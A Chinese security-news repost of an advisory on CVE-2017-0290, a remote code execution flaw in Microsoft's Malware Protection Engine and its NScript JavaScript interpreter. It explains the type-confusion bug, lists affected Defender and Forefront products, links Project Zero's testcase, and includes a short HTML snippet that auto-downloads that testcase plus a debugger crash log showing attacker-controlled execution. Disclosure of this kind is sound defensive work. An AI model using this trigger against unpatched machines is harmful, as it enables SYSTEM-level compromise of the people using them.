安全路透社
当前位置:安全路透社 > 网络转载 > 正文

漏洞预警 | Windows系统恶意软件防护引擎曝严重远程代码执行漏洞(CVE-2017-0290)

微软昨天发布了安全公告——微软自家的恶意程序防护引擎出现高危安全漏洞。影响到包括MSE等在内的产品,危害性还是相当严重的。微软当前已经提供了升级以修复漏洞,并表示没有证据表明攻击者已经利用该漏洞。

disable-windows-10-defender.jpg

漏洞编号:

CVE-2017-0290

漏洞危害程度:

Critical,严重

漏洞概述:

简单说来,当微软恶意程序防护引擎(Microsoft Malware Protection Engine)检测某个恶意构造的文件后,攻击者就能利用漏洞实现远程代码执行。成功利用该漏洞,攻击者就能在LocalSystem帐号安全上下文执行任意代码,并控制系统。

攻击者随后就能安装程序;查看、更改或删除数据;或者以完整的用户权限来构建新账户。

攻击者实际上有很多种方法让微软的恶意程序保护引擎扫描到恶意构建的文件,比如目标用户浏览某个网站的时候就能分发恶意部署文件,或者通过邮件信息、即时通讯消息——在实时扫描开启的情况下,甚至不需要用户打开这些文件,微软恶意程序防护引擎就会对其进行扫描。

影响范围:

很多微软的反恶意程序产品都在使用微软恶意程序防护引擎。鉴于其中包含Windows 7/8/8.1/10/Server 2016中就默认安装的反恶意程序产品,该漏洞应该是非常严重。微软在其安全公告页面中列出了受影响产品,包括:

Microsoft Forefront Endpoint Protection 2010

Microsoft Endpoint Protection

Microsoft Forefront Security for SharePoint Service Pack 3

Microsoft System Center Endpoint Protection

Microsoft Security Essentials

Windows Defender for Windows 7

Windows Defender for Windows 8.1

Windows Defender for Windows RT 8.1

Windows Defender for Windows 10, Windows 10 1511, Windows 10 1607, Windows Server 2016, Windows 10 1703

Windows Intune Endpoint Protection

漏洞详情:

具体来说,MsMpEng是恶意程序防护服务,Windows 8/8.1/10/Server 2012等都默认启用。MSE(Microsoft Security Essentials)、系统中心终端防护和微软的各种安全产品都采用此核心引擎。

MsMpEng以AUTHORITY\SYSTEM权限运行,无沙盒,通过Windows服务(如Exchange、IIS等)在无需身份认证的情况下可远程访问。

对于工作站而言,攻击者给用户发送邮件(甚至不需要阅读邮件或打开附件)、在浏览器中访问链接、使用即时通讯等,就能访问mpengine(MsMpEng用于扫描和分析的核心组件)。因为MsMpEng采用文件系统minifilter来拦截以及检查所有的文件系统活动,所以给硬盘的任意位置写入相应内容就能实现mpengine中函数的访问。

鉴于其高权限、可访问及普遍存在性,MsMpEng中的这个漏洞还是极为严重的。

不难发现mpengine本身就是个很大的攻击面,其中包含很多专门的文件格式、可执行封装包、cryptor、完整系统模拟器的Handler,还有各种架构和语言的解释器。所有这些代码,远程攻击者都是可以访问的。

其中NScript是mpengine的一个组件,这个组件用于评估任意看起来像是JS的文件系统或网络活动。值得一提的是,这是个无沙盒环境、高权限的JavaScript interpreter——用于评估不受信任的代码。

谷歌的研究人员写了个工具,通过代码shell访问NScript。发现函数JsDelegateObject_Error::toString()会从中读取“message”属性,但在传递给JsRuntimeState::triggerShortStrEvent()之前未能验证属性类型。其默认假定message是个字符串,但实际上可以是任意类型。这就能够让攻击者传递其它任意对象。

更多详情可参见Chromium。其中也提供了漏洞再现的方法。

若要再现该漏洞,可点击这里下载:https://bugs.chromium.org/p/project-zero/issues/attachment?aid=283405 。访问包含下述代码的网站后,

    <a href="testcase.txt" download id=link>

    <script>

    document.getElementById("link").click();

    </script>

捕捉到的debug会话:

3: kd> !process

PROCESS 8805fd28  SessionId: 0  Cid: 0afc    Peb: 7ffdf000  ParentCid: 01c8

    DirBase: bded14e0  ObjectTable: bfb99640  HandleCount: 433.

    Image: MsMpEng.exe

3: kd> !token -n

_EPROCESS 8805fd28, _TOKEN 00000000

TS Session ID: 0

User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

3: kd> .lastevent

Last event: Access violation - code c0000005 (first chance)

  debugger time: Fri May  5 18:22:14.740 2017 (UTC - 7:00)

3: kd> r

eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141

eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0         nv up ei ng nz ac po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293

mpengine!FreeSigFiles+0xec822:

001b:68b1f5f2 8b07            mov     eax,dword ptr [edi] ds:0023:41414141=????????

3: kd> lmv mmpengine

start    end        module name

68790000 6917a000   mpengine   (export symbols)       mpengine.dll

    Loaded symbol image file: mpengine.dll

    Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll

    Image name: mpengine.dll

    Timestamp:        Thu Apr 06 16:05:37 2017 (58E6C9C1)

    CheckSum:         00A1330D

    ImageSize:        009EA000

    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

3: kd> u

mpengine!FreeSigFiles+0xec822:

001b:68b1f5f2 8b07            mov     eax,dword ptr [edi]

001b:68b1f5f4 56              push    esi

001b:68b1f5f5 8b7008          mov     esi,dword ptr [eax+8]

001b:68b1f5f8 8bce            mov     ecx,esi

001b:68b1f5fa ff15c0450e69    call    dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)]

001b:68b1f600 8bcf            mov     ecx,edi

001b:68b1f602 ffd6            call    esi           <--- Jump to attacker controlled address

001b:68b1f604 5e              pop     esi

值得一提的是,在执行JS之前,mpengine采用各种启发式方案来决定是否有必要作评估。其中一个启发式方案会评估文件熵——不过研究人员发现其实只要附加上足够多的注释,也就能够触发所谓的“评估”过程了。

修复方案:

微软在安全公告中提到,终端用户和企业管理员不需要进行额外的操作,微软恶意程序引擎本身自动检测和更新部署机制会在48小时内应用更新。具体更新时间,视所用软件、互联网连接和基建配置而定。

* 参考来源:Chromium微软安全公告,FreeBuf官方出品

未经允许不得转载:安全路透社 » 漏洞预警 | Windows系统恶意软件防护引擎曝严重远程代码执行漏洞(CVE-2017-0290)

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册